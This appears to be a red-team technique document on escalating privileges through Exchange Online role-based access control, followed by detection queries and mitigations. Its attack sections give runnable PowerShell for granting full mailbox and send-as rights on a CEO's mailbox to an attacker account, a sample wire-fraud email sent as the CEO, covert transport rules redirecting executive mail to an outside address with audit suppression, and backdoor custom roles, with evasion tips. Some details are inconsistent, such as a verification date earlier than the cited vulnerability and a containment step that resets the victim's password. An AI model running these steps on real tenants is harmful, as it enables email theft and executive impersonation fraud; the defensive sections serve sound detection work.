| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-007 |
| MITRE ATT&CK v18.1 | T1098.002 - Additional Email Delegate Permissions |
| Tactic | Privilege Escalation / Persistence |
| Platforms | Microsoft 365 / Exchange Online / Hybrid Exchange |
| Severity | High |
| CVE | CVE-2025-53786 (Exchange Hybrid escalation - August 2025) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Exchange Online all versions; Exchange Server 2016-2025 (hybrid) |
| Patched In | Partial mitigation in January 2025 CU |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Exchange Online Role-Based Access Control (RBAC) allows fine-grained delegation of email administration tasks. An attacker with Exchange Administrator or Organization Management role can escalate privileges by: (1) Custom Role Creation - creating new management roles with dangerous permissions (e.g., UserApplication, MailboxSearch) and assigning them to service accounts controlled by the attacker; (2) Mailbox Permission Delegation - assigning FullAccess, SendAs, or SendOnBehalf permissions to attacker-controlled accounts, enabling mailbox takeover and email impersonation; (3) Transport Rule Creation - creating organization-wide mail rules to intercept, forward, or suppress emails (including sensitive internal communications); (4) Admin Audit Log Bypass - creating rules to delete audit logs from executive mailboxes; (5) Hybrid Escalation - exploiting shared service principals between on-premises Exchange and Exchange Online to escalate to Global Administrator (CVE-2025-53786).
Unlike account manipulation techniques in other M365 services, Exchange RBAC abuse can be invisible to users because permissions are granted to mailboxes rather than user accounts. An attacker can read/send emails as an executive, modify forwarding rules, or suppress emails containing evidence of compromise—all without the user ever knowing.
Attack Surface: Exchange Admin Center (admin.exchange.microsoft.com), Exchange Online PowerShell (EXO V2 module), Organization Management role, and mail transport rules.
Business Impact: Executive email access and organizational communication compromise. Exchange Admin can read all emails, intercept sensitive communications, impersonate executives for Business Email Compromise (BEC), prevent delivery of security alerts, create permanent backdoor rules, and escalate to Global Administrator (in hybrid environments). This enables CEO fraud, data exfiltration, regulatory non-compliance, and complete information warfare within the organization.
Technical Context: Exchange RBAC abuse typically takes 5-15 minutes to execute and has a very low detection likelihood because permissions are granted via legitimate Exchange administrative cmdlets. Audit logs record the actions but are often not reviewed unless specifically monitoring for mailbox delegations. In hybrid environments, the CVE-2025-53786 path can escalate to Global Admin in under 30 minutes.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 2.1.1, 2.2.1 | Restrict Exchange Admin roles; monitor delegate permissions |
| DISA STIG | EXCH-SRG-001 | Email System Security Controls; RBAC enforcement |
| NIST 800-53 | AC-2, AC-3, SI-4 | Account Management, Access Enforcement, System Monitoring |
| GDPR | Art. 32, Art. 33 | Security of Processing; Data Breach Notification |
| DORA | Art. 9 | Protection and Prevention - email security and audit |
| NIS2 | Art. 21 | Cyber Risk Management Measures - email system integrity |
| ISO 27001 | A.9.2.3, A.13.1.3 | Privileged Access Management; Email Security |
| ISO 27005 | Risk Scenario 6.1 | Compromise of Email Administration Interface |
Supported Versions:
Required Tools:
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName "admin@victim.onmicrosoft.com"
# Check current user's roles
Get-ManagementRoleAssignment -Identity (whoami) | Select-Object AssignedPrincipal, Role | fl
# Verify if user has Organization Management role (highest privilege)
$orgMgmtRole = Get-ManagementRoleAssignment -Role "Organization Management"
if ($orgMgmtRole) {
Write-Host "✓ User has Organization Management role (can perform all escalations)"
} else {
Write-Host "✗ User does NOT have Organization Management role"
}
# List all available management roles
Get-ManagementRole | Where-Object { $_.RoleType -ne "Custom" } | Select-Object Name, RoleType | Sort-Object Name
What to Look For:
# Check all mailboxes with delegate permissions
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
$mailbox = $_
$perms = Get-MailboxPermission -Identity $mailbox.Identity | Where-Object {
$_.User.ToString() -notmatch "NT AUTHORITY|SELF|Microsoft"
}
if ($perms) {
Write-Host "Mailbox: $($mailbox.DisplayName)"
$perms | ForEach-Object { Write-Host " - User: $($_.User), Rights: $($_.AccessRights)" }
}
}
# Check SendAs permissions
Write-Host "`n=== SEND AS PERMISSIONS ==="
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
$sendAs = Get-RecipientPermission -Identity $_.Identity | Where-Object {
$_.Trustee.ToString() -notmatch "NT AUTHORITY|SELF|Microsoft"
}
if ($sendAs) {
Write-Host "Mailbox: $($_.DisplayName) - SendAs granted to: $($sendAs.Trustee)"
}
}
What to Look For:
# Get all custom roles (non-Microsoft default roles)
Get-ManagementRole -Filter { IsBuiltIn -eq $false } | Select-Object Name, RoleType | fl
# For each custom role, check permissions
Get-ManagementRole -Filter { IsBuiltIn -eq $false } | ForEach-Object {
Write-Host "Custom Role: $($_.Name)"
Get-ManagementRoleEntry -Identity "$($_.Name)\*" | ForEach-Object {
Write-Host " - Cmdlet: $($_.Name), Parameters: $($_.Parameters -join ', ')"
}
}
What to Look For:
Supported Versions: All Exchange Online (2024-2025)
Objective: Establish PowerShell session with Exchange Admin privileges.
Command:
# Install ExchangeOnlineManagement module if needed
Install-Module ExchangeOnlineManagement -Force
# Connect to Exchange Online
# This will open browser for MFA (if enabled)
Connect-ExchangeOnline -UserPrincipalName "exchange.admin@victim.onmicrosoft.com" -ShowProgress $true
# Verify connection and current user role
$currentUser = Get-User | Where-Object { $_.UserPrincipalName -eq "exchange.admin@victim.onmicrosoft.com" }
Write-Host "Connected as: $($currentUser.DisplayName)"
# Verify Organization Management role
$roles = Get-ManagementRoleAssignment -Identity $currentUser | Select-Object Role
if ($roles | Where-Object { $_.Role -eq "Organization Management" }) {
Write-Host "✓ User has Organization Management role - escalation possible"
}
Expected Output:
Connected as: Exchange Administrator
✓ User has Organization Management role - escalation possible
Objective: Select a high-value target mailbox for interception.
Command:
# List all mailboxes and their membership in executive groups
# Target criteria: High-value accounts like CEO, CFO, General Counsel
# Method 1: Target by display name (if known)
$targetMailbox = Get-Mailbox -Identity "ceo@victim.onmicrosoft.com"
Write-Host "Target Mailbox: $($targetMailbox.DisplayName)"
Write-Host " Email: $($targetMailbox.PrimarySmtpAddress)"
Write-Host " MailboxType: $($targetMailbox.MailboxType)"
# Method 2: Find all distribution group members (e.g., "Executive Leadership")
$executiveGroup = Get-DistributionGroupMember -Identity "Executive Leadership" -ResultSize Unlimited
Write-Host "Executive Group Members:"
$executiveGroup | ForEach-Object {
Write-Host " - $($_.DisplayName) ($($_.PrimarySmtpAddress))"
}
# Select first executive as target
$targetMailbox = Get-Mailbox -Identity $executiveGroup[0].Identity
What to Look For:
OpSec Consideration:
Objective: Delegate full mailbox access to attacker-controlled account.
Command:
# Grant FullAccess permission to attacker account
# Using attacker's service account (harder to trace than user account)
$targetMailbox = "ceo@victim.onmicrosoft.com"
$attackerAccount = "attacker@victim.onmicrosoft.com" # or service account
Add-MailboxPermission -Identity $targetMailbox `
-User $attackerAccount `
-AccessRights FullAccess `
-InheritanceType All `
-Confirm:$false
Write-Host "FullAccess permission granted to $attackerAccount for mailbox: $targetMailbox"
# Verify permission was added
$permission = Get-MailboxPermission -Identity $targetMailbox -User $attackerAccount
Write-Host "Verification: AccessRights = $($permission.AccessRights)"
Expected Output:
FullAccess permission granted to attacker@victim.onmicrosoft.com for mailbox: ceo@victim.onmicrosoft.com
Verification: AccessRights = {FullAccess}
What This Means:
OpSec & Evasion:
Objective: Confirm that the delegated permission works.
Command (from Attacker Account):
# Switch context to attacker account
Disconnect-ExchangeOnline -Confirm:$false
# Connect as attacker
Connect-ExchangeOnline -UserPrincipalName "attacker@victim.onmicrosoft.com"
# Verify access to CEO's mailbox
$ceoMailbox = Get-Mailbox "ceo@victim.onmicrosoft.com"
# Try to access mailbox contents
$emails = Get-MailboxFolderStatistics -Identity "ceo@victim.onmicrosoft.com" -FolderScope All
if ($emails) {
Write-Host "✓ SUCCESS: Can access CEO's mailbox folders"
Write-Host " Total folders: $($emails.Count)"
Write-Host " Inbox items: $(($emails | Where-Object { $_.FolderPath -eq '/Inbox' }).ItemsInFolder)"
} else {
Write-Host "✗ FAILED: Cannot access mailbox (permission not active yet - wait 5-10 minutes)"
}
Expected Output:
✓ SUCCESS: Can access CEO's mailbox folders
Total folders: 25
Inbox items: 1,234
What This Means:
Supported Versions: All Exchange Online (2024-2025)
Objective: Allow attacker to send emails AS the CEO (for Business Email Compromise).
Command:
# Connect as Exchange Admin
Connect-ExchangeOnline -UserPrincipalName "exchange.admin@victim.onmicrosoft.com"
# Grant SendAs permission (allows sending emails appearing from CEO)
$targetMailbox = "ceo@victim.onmicrosoft.com"
$attackerAccount = "attacker@victim.onmicrosoft.com"
Add-RecipientPermission -Identity $targetMailbox `
-Trustee $attackerAccount `
-AccessRights SendAs `
-Confirm:$false
Write-Host "SendAs permission granted to $attackerAccount for mailbox: $targetMailbox"
# Verify
$permission = Get-RecipientPermission -Identity $targetMailbox -Trustee $attackerAccount
Write-Host "Verification: Trustee can SendAs = $($permission.AccessRights -eq 'SendAs')"
Expected Output:
SendAs permission granted to attacker@victim.onmicrosoft.com for mailbox: ceo@victim.onmicrosoft.com
Verification: Trustee can SendAs = True
Why SendAs is Stealthier:
Objective: Send email appearing to come from CEO to external party (e.g., wire transfer request).
Command (from Attacker Account):
# Authenticate as attacker
Connect-ExchangeOnline -UserPrincipalName "attacker@victim.onmicrosoft.com"
# Send email AS the CEO
$params = @{
"From" = "ceo@victim.onmicrosoft.com"
"To" = "attacker@gmail.com"
"Subject" = "Urgent: Wire Transfer Authorization"
"Body" = @"
Please wire $500,000 to the following account immediately for acquisition opportunity:
Account: Attacker Company
Routing: 123456789
Account #: 987654321
Do not discuss this with anyone - confidential transaction.
- CEO
"@
"SendFromMailbox" = "ceo@victim.onmicrosoft.com"
}
# Note: Exact cmdlet varies by PowerShell version
# Alternative: Use Send-MailMessage with SendAs context
Send-ExoMailMessage @params
Write-Host "Email sent as CEO to external recipient"
Impact of This Attack:
Supported Versions: All Exchange Online (2024-2025)
Objective: Create a transport rule that automatically forwards all emails from/to CEO to attacker’s account (invisible to CEO).
Command:
# Connect as Exchange Admin
Connect-ExchangeOnline -UserPrincipalName "exchange.admin@victim.onmicrosoft.com"
# Create transport rule: Forward all emails mentioning sensitive keywords to attacker
New-TransportRule -Name "Covert Email Forwarding" `
-Enabled $true `
-FromAddressMatchesPatterns "ceo@victim.onmicrosoft.com" `
-RedirectMessageTo "attacker@victim.onmicrosoft.com" `
-SetAuditSeverity "DoNotAudit" ` # Try to suppress audit logging (may not work)
-StopRuleProcessing $false # Allow other rules to process
Write-Host "Transport rule created: Emails from CEO now forwarded to attacker"
# List all transport rules to verify
Get-TransportRule | Select-Object Name, State, FromAddressMatchesPatterns | fl
Expected Output:
Transport rule created: Emails from CEO now forwarded to attacker
Name: Covert Email Forwarding
State: Enabled
FromAddressMatchesPatterns: {ceo@victim.onmicrosoft.com}
Stealth Advantages:
Escalation Opportunities:
Objective: Forward only sensitive emails (containing keywords) to avoid spam.
Command:
# More sophisticated rule: Forward only emails with sensitive subjects/content
New-TransportRule -Name "Sensitive Communication Forwarding" `
-Enabled $true `
-RecipientAddressContainsWords @("ceo@", "cfo@", "general.counsel@") `
-SubjectOrBodyMatchesPatterns @("wire transfer", "acquisition", "confidential", "merger", "acquisition", "financial results") `
-RedirectMessageTo "attacker.covert@outlook.com" `
-IncludeNewLineCharacter $true `
-Confirm:$false
Write-Host "Advanced rule created: Only sensitive emails forwarded"
Advantages:
Supported Versions: All Exchange Online (2024-2025)
Objective: Create a custom management role that allows attacker-controlled account to perform dangerous operations like creating inbox rules, modifying users, or reading audit logs.
Command:
# Connect as Exchange Admin
Connect-ExchangeOnline -UserPrincipalName "exchange.admin@victim.onmicrosoft.com"
# Get the base role to copy permissions from (Recipient Management has broad rights)
$baseRole = Get-ManagementRole "Recipient Management"
# Create new custom role
$newRole = New-ManagementRole -Name "Custom Mailbox Operators" `
-Parent $baseRole `
-Description "Allows operators to manage mailbox settings and rules"
Write-Host "Custom role created: $($newRole.Name)"
# Add dangerous cmdlets to role
Add-ManagementRoleEntry -Identity "Custom Mailbox Operators\New-InboxRule" `
-Confirm:$false
Add-ManagementRoleEntry -Identity "Custom Mailbox Operators\Set-Mailbox" `
-Confirm:$false
Add-ManagementRoleEntry -Identity "Custom Mailbox Operators\Get-Mailbox" `
-Confirm:$false
Add-ManagementRoleEntry -Identity "Custom Mailbox Operators\Set-MailboxAutoReplyConfiguration" `
-Confirm:$false
Write-Host "Dangerous cmdlets added to custom role"
# Verify role permissions
Get-ManagementRoleEntry -Identity "Custom Mailbox Operators\*" |
Select-Object Name, Parameters | fl
Expected Output:
Custom role created: Custom Mailbox Operators
Dangerous cmdlets added to custom role
Why This Is a Backdoor:
Objective: Assign the custom role to attacker’s service account, giving them Exchange admin privileges without being obvious.
Command:
# Create role group (role groups are assigned, not individual roles)
$roleGroup = New-RoleGroup -Name "Custom Service Administrators" `
-Roles "Custom Mailbox Operators" `
-Members "service.attacker@victim.onmicrosoft.com" `
-Description "Service account for mailbox operations"
Write-Host "Role group created: $($roleGroup.DisplayName)"
Write-Host "Members: service.attacker@victim.onmicrosoft.com"
# Verify assignment
Get-RoleGroupMember -Identity "Custom Service Administrators"
Expected Output:
Role group created: Custom Service Administrators
Members: service.attacker@victim.onmicrosoft.com
Persistence Advantage:
Command:
param(
[string]$TargetMailbox = "executive@contoso.onmicrosoft.com",
[string]$AttackerAccount = "attacker@contoso.onmicrosoft.com"
)
# Setup
Connect-ExchangeOnline -UserPrincipalName "admin@contoso.onmicrosoft.com"
# Add FullAccess
Add-MailboxPermission -Identity $TargetMailbox `
-User $AttackerAccount `
-AccessRights FullAccess `
-InheritanceType All `
-Confirm:$false
Write-Host "Test: MailboxPermission added"
# Verification
$perm = Get-MailboxPermission -Identity $TargetMailbox -User $AttackerAccount
if ($perm.AccessRights -contains "FullAccess") {
Write-Host "✓ Test Successful: FullAccess permission confirmed"
} else {
Write-Host "✗ Test Failed"
}
Cleanup Command:
# Remove permission
Remove-MailboxPermission -Identity $TargetMailbox `
-User $AttackerAccount `
-AccessRights FullAccess `
-Confirm:$false
# Remove transport rules
Remove-TransportRule -Identity "Covert Email Forwarding" -Confirm:$false
Write-Host "Cleanup Complete"
Version: 3.0+ Supported Platforms: Windows PowerShell 5.0+, PowerShell Core 7.0+ (cross-platform)
Installation:
Install-Module ExchangeOnlineManagement -Force
Install-Module -Name ExchangeOnlineManagement -RequiredVersion 3.0.0 -Force
Key Cmdlets for Escalation:
# Mailbox Permission Operations
Add-MailboxPermission # Grant FullAccess (ESCALATION)
Get-MailboxPermission # List mailbox permissions
Remove-MailboxPermission # Revoke permissions
# SendAs Permissions
Add-RecipientPermission # Grant SendAs (ESCALATION)
Get-RecipientPermission # List SendAs permissions
Remove-RecipientPermission # Revoke SendAs
# Inbox Rules (Persistence)
New-InboxRule # Create inbox rule (ESCALATION)
Get-InboxRule # List inbox rules
Remove-InboxRule # Delete inbox rule
# Transport Rules (Org-wide Forwarding)
New-TransportRule # Create transport rule (ESCALATION)
Get-TransportRule # List transport rules
Remove-TransportRule # Delete transport rule
# Management Roles (Role-based Access)
New-ManagementRole # Create custom role (ESCALATION)
Add-ManagementRoleEntry # Add cmdlet to role (ESCALATION)
New-RoleGroup # Create role group (ESCALATION)
Rule Configuration:
KQL Query:
MailboxAuditLogs
| where Operation == "AddMailboxPermission" or Operation == "Add-MailboxPermission"
| where GrantedAccess == "FullAccess"
| project
TimeGenerated,
MailboxOwner=MailboxOwnerUPN,
GrantedToUser=Parameters[0].Value,
AccessRights=Parameters[2].Value,
OperationSource=OperationSource,
ClientIP=ClientIP
| where TimeGenerated >= ago(5m)
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("New-TransportRule", "New-TransportRuleWithoutFESession")
| where Result == "Success"
| extend RuleName = TargetResources[0].displayName
| extend RedirectTo = extract(@'RedirectMessageTo.*?"([^"]+)"', 1, tostring(TargetResources[0].modifiedProperties))
| project
TimeGenerated,
OperationName,
RuleName,
RedirectTo,
InitiatedByUser=InitiatedBy.user.userPrincipalName,
InitiatedByIP=InitiatedBy.ipAddress
| order by TimeGenerated desc
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("New-ManagementRole", "Add-ManagementRoleEntry")
| where Result == "Success"
| extend RoleName = TargetResources[0].displayName
| extend Cmdlets = extract(@'Added role entries:.*?(\w+-\w+)', 1, tostring(TargetResources[0].modifiedProperties))
| project
TimeGenerated,
OperationName,
RoleName,
Cmdlets,
InitiatedByUser=InitiatedBy.user.userPrincipalName,
InitiatedByIP=InitiatedBy.ipAddress
| order by TimeGenerated desc
What This Detects:
Rule Configuration:
KQL Query:
MailboxAuditLogs
| where Operation == "New-InboxRule"
| where MailboxOwnerUPN has "@" // Only real mailboxes
| extend RuleName = Parameters[0].Value
| extend ForwardTo = Parameters | where_dynamic(tostring(x) contains "ForwardTo")
| project
TimeGenerated,
MailboxOwner=MailboxOwnerUPN,
RuleName,
CreatedBy=UserId,
ClientIP=ClientIP
| order by TimeGenerated desc
What This Detects:
Restrict Organization Management role assignment: Only assign to highly trusted individuals; use PIM for time-limited elevation.
Applies To Versions: All Exchange Online (2024+)
Manual Steps (Exchange Admin Center):
PowerShell:
# List all members of Organization Management
Get-RoleGroupMember -Identity "Organization Management"
# Remove member from role group
Remove-RoleGroupMember -Identity "Organization Management" -Member "username" -Confirm:$false
Prohibit delegate access to sensitive mailboxes (executives, legal, finance):
Manual Steps:
Sensitive-Mailbox-OwnersPowerShell Prevention (requires custom logic):
# Script to detect and prevent unauthorized delegations
$sensitiveMailboxes = Get-DistributionGroupMember -Identity "Sensitive-Mailbox-Owners" | Select-Object -ExpandProperty Identity
foreach ($mailbox in $sensitiveMailboxes) {
$delegations = Get-MailboxPermission -Identity $mailbox |
Where-Object { $_.User.ToString() -notmatch "NT AUTHORITY|SELF" }
if ($delegations) {
Write-Host "WARNING: Unauthorized delegation on $mailbox"
# Option: Auto-remove dangerous delegations
# Remove-MailboxPermission -Identity $mailbox -User $delegations.User -AccessRights FullAccess -Confirm:$false
}
}
Audit and remove all custom management roles: Custom roles are often used as backdoors; default roles should be sufficient.
Manual Steps:
PowerShell:
# List all custom roles
Get-ManagementRole -Filter { IsBuiltIn -eq $false } | Select-Object Name
# Delete custom role (only if verified as unnecessary)
# Remove-ManagementRole -Identity "CustomRoleName" -Confirm:$false
Monitor and restrict transport rule creation: Only admins should create organization-wide email rules.
Manual Steps:
PowerShell Audit:
# List all transport rules
Get-TransportRule | Select-Object Name, State, FromAddressMatchesPatterns, RedirectMessageTo | fl
# Delete suspicious rule
# Remove-TransportRule -Identity "SuspiciousRuleName" -Confirm:$false
Implement Conditional Access for Exchange Admin access: Require device compliance, MFA, and approved location.
Manual Steps:
Restrict Exchange Admin AccessONEnforce explicit mailbox audit logging: Enable for all mailboxes (especially executives) to detect delegated access.
Manual Steps:
PowerShell:
# Enable mailbox audit logging for all mailboxes
Get-Mailbox -ResultSize Unlimited | Set-Mailbox -AuditEnabled $true
# Verify
Get-Mailbox | Select-Object DisplayName, AuditEnabled | fl
Restrict who can create inbox rules: Disable for users; admins only.
Manual Steps:
Monitor SendAs and SendOnBehalf permissions monthly:
Monthly Audit Command:
# Audit SendAs permissions
Write-Host "=== SEND AS PERMISSIONS ==="
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
$sendAs = Get-RecipientPermission -Identity $_.Identity |
Where-Object { $_.Trustee.ToString() -notmatch "NT AUTHORITY|SELF" }
if ($sendAs) {
Write-Host "$($_.DisplayName) - SendAs: $($sendAs.Trustee)"
}
}
# Export to CSV for review
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
Get-RecipientPermission -Identity $_.Identity
} | Export-Csv "C:\Reports\SendAsPermissions_$(Get-Date -Format 'yyyyMMdd').csv"
Add-MailboxPermission with AccessRights=FullAccessAdd-RecipientPermission with AccessRights=SendAsNew-TransportRule with RedirectMessageToNew-InboxRule with ForwardToNew-ManagementRole (custom roles)OperationName: Add-MailboxPermission, New-TransportRule, etc.UserIds: Who performed the operationTimestamp: When operation occurred# Step 1: Remove all suspicious delegations
$targetMailbox = "ceo@victim.onmicrosoft.com"
$suspiciousAccounts = @("attacker@victim.com", "suspicious@victim.com")
foreach ($account in $suspiciousAccounts) {
Remove-MailboxPermission -Identity $targetMailbox `
-User $account `
-AccessRights FullAccess, SendAs, SendOnBehalf `
-Confirm:$false
}
Write-Host "All delegations removed"
# Step 2: Remove all transport rules forwarding to external domains
$externalRules = Get-TransportRule | Where-Object {
$_.RedirectMessageTo -match "@(gmail|outlook|yahoo|hotmail)"
}
$externalRules | ForEach-Object {
Remove-TransportRule -Identity $_.Identity -Confirm:$false
}
Write-Host "Suspicious transport rules removed"
# Step 3: Remove custom management roles
Get-ManagementRole -Filter { IsBuiltIn -eq $false } | ForEach-Object {
Write-Host "REVIEW: Custom role '$($_.Name)' - verify necessity before deletion"
}
# Step 4: Reset passwords for delegated accounts
$targetUser = Get-User -Identity $targetMailbox
$newPassword = (New-Guid).ToString() + "P@ssw0rd!"
Set-User -Identity $targetUser -Password (ConvertTo-SecureString -AsPlainText $newPassword -Force)
Write-Host "Containment Complete"
# Export all mailbox delegations for forensics
Write-Host "Exporting mailbox delegations..."
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
Get-MailboxPermission -Identity $_.Identity |
Where-Object { $_.User -notmatch "NT AUTHORITY|SELF" }
} | Export-Csv "C:\Evidence\MailboxPermissions_$(Get-Date -Format 'yyyyMMdd').csv"
# Export all transport rules
Write-Host "Exporting transport rules..."
Get-TransportRule | Export-Csv "C:\Evidence\TransportRules_$(Get-Date -Format 'yyyyMMdd').csv"
# Export mailbox audit logs for compromised mailbox
Write-Host "Exporting mailbox audit logs..."
Search-MailboxAuditLog -Identity "ceo@victim.onmicrosoft.com" `
-StartDate (Get-Date).AddDays(-90) `
-EndDate (Get-Date) `
-ResultSize Unlimited |
Export-Csv "C:\Evidence\MailboxAudit_$(Get-Date -Format 'yyyyMMdd').csv"
# Step 1: Review all delegations for legitimate purposes
# Step 2: For any suspicious delegations: revoke and notify user
# Step 3: Check attacker account for sent emails (BEC evidence)
# Step 4: Implement mitigations from section above
# Step 5: Conduct user awareness training on email security
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal Spear Phishing | Attacker targets Exchange Admin with phishing email |
| 2 | Privilege Escalation | [PE-ACCTMGMT-007] | Escalate to Global Admin via Exchange RBAC abuse |
| 3 | Persistence | Custom Transport Rule | Set up email forwarding to attacker-controlled mailbox |
| 4 | Impact - BEC | SendAs to CEO | Impersonate CEO for wire transfer or sensitive communications |
| 5 | Impact - Breach | Read all emails | Exfiltrate confidential business information |